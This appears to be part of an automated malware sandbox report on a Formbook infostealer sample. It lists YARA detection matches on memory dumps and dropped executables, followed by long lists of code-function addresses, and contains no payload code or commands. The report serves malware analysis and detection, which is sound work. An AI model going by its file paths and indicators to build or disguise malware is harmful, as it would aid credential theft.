Source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.438650051.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.454868060.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.439308251.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000003.449493611.000001C6B5DFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.448788961.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000003.438775384.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000003.438537712.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: wscript.exe PID: 6972, type: MEMORYSTR	Matched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00011030	3_2_00011030
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002EA25	3_2_0002EA25
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00019280	3_2_00019280
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0001DC20	3_2_0001DC20
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00012D90	3_2_00012D90
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002E78A	3_2_0002E78A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_0002D792	3_2_0002D792
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00012FB0	3_2_00012FB0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBB090	3_2_00DBB090
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E720A8	3_2_00E720A8
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61002	3_2_00E61002
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAF900	3_2_00DAF900
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E722AE	3_2_00E722AE
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6DBD2	3_2_00E6DBD2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDEBB0	3_2_00DDEBB0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E72B28	3_2_00E72B28
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DB841F	3_2_00DB841F
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBD5E0	3_2_00DBD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436841F	13_2_0436841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411002	13_2_04411002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436B090	13_2_0436B090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_044220A8	13_2_044220A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04350D20	13_2_04350D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04421D55	13_2_04421D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435F900	13_2_0435F900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04422D07	13_2_04422D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382581	13_2_04382581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436D5E0	13_2_0436D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04376E30	13_2_04376E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04422EF7	13_2_04422EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_044222AE	13_2_044222AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04422B28	13_2_04422B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438EBB0	13_2_0438EBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441DBD2	13_2_0441DBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04421FF1	13_2_04421FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0040DC20	13_2_0040DC20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041EA25	13_2_0041EA25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00409280	13_2_00409280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00402D90	13_2_00402D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041E78A	13_2_0041E78A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0041D792	13_2_0041D792
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00402FB0	13_2_00402FB0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008D1030	23_2_008D1030
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008D9280	23_2_008D9280
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EEA25	23_2_008EEA25
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008DDC20	23_2_008DDC20
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008D2D90	23_2_008D2D90
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EE78A	23_2_008EE78A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008ED792	23_2_008ED792
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008D2FB0	23_2_008D2FB0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105F900	23_2_0105F900
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01056800	23_2_01056800
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01111002	23_2_01111002
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0112E824	23_2_0112E824
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107A830	23_2_0107A830
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0106B090	23_2_0106B090
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010820A0	23_2_010820A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011220A8	23_2_011220A8
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011228EC	23_2_011228EC
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111231B	23_2_0111231B
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107A309	23_2_0107A309
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01122B28	23_2_01122B28
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010FCB4F	23_2_010FCB4F
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107AB40	23_2_0107AB40
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01073360	23_2_01073360
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108138B	23_2_0108138B
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010FEB8A	23_2_010FEB8A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107EB9A	23_2_0107EB9A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108EBB0	23_2_0108EBB0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111DBD2	23_2_0111DBD2
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011103DA	23_2_011103DA
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108ABD8	23_2_0108ABD8
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010A8BE8	23_2_010A8BE8
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011023E3	23_2_011023E3
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107B236	23_2_0107B236
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0110FA2B	23_2_0110FA2B
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011232A9	23_2_011232A9
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011222AE	23_2_011222AE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111E2C5	23_2_0111E2C5
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01114AEF	23_2_01114AEF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01122D07	23_2_01122D07
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01050D20	23_2_01050D20
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01121D55	23_2_01121D55
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01072D50	23_2_01072D50
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01082581	23_2_01082581
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01112D82	23_2_01112D82
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010865A0	23_2_010865A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011225DD	23_2_011225DD
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0106D5E0	23_2_0106D5E0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0106841F	23_2_0106841F
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107B477	23_2_0107B477
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111D466	23_2_0111D466
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01114496	23_2_01114496
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0112DFCE	23_2_0112DFCE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01121FF1	23_2_01121FF1
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011167E2	23_2_011167E2
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111D616	23_2_0111D616
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01075600	23_2_01075600
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01076E30	23_2_01076E30
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01101EB6	23_2_01101EB6
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01122EF7	23_2_01122EF7

Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: String function: 010E5720 appears 53 times
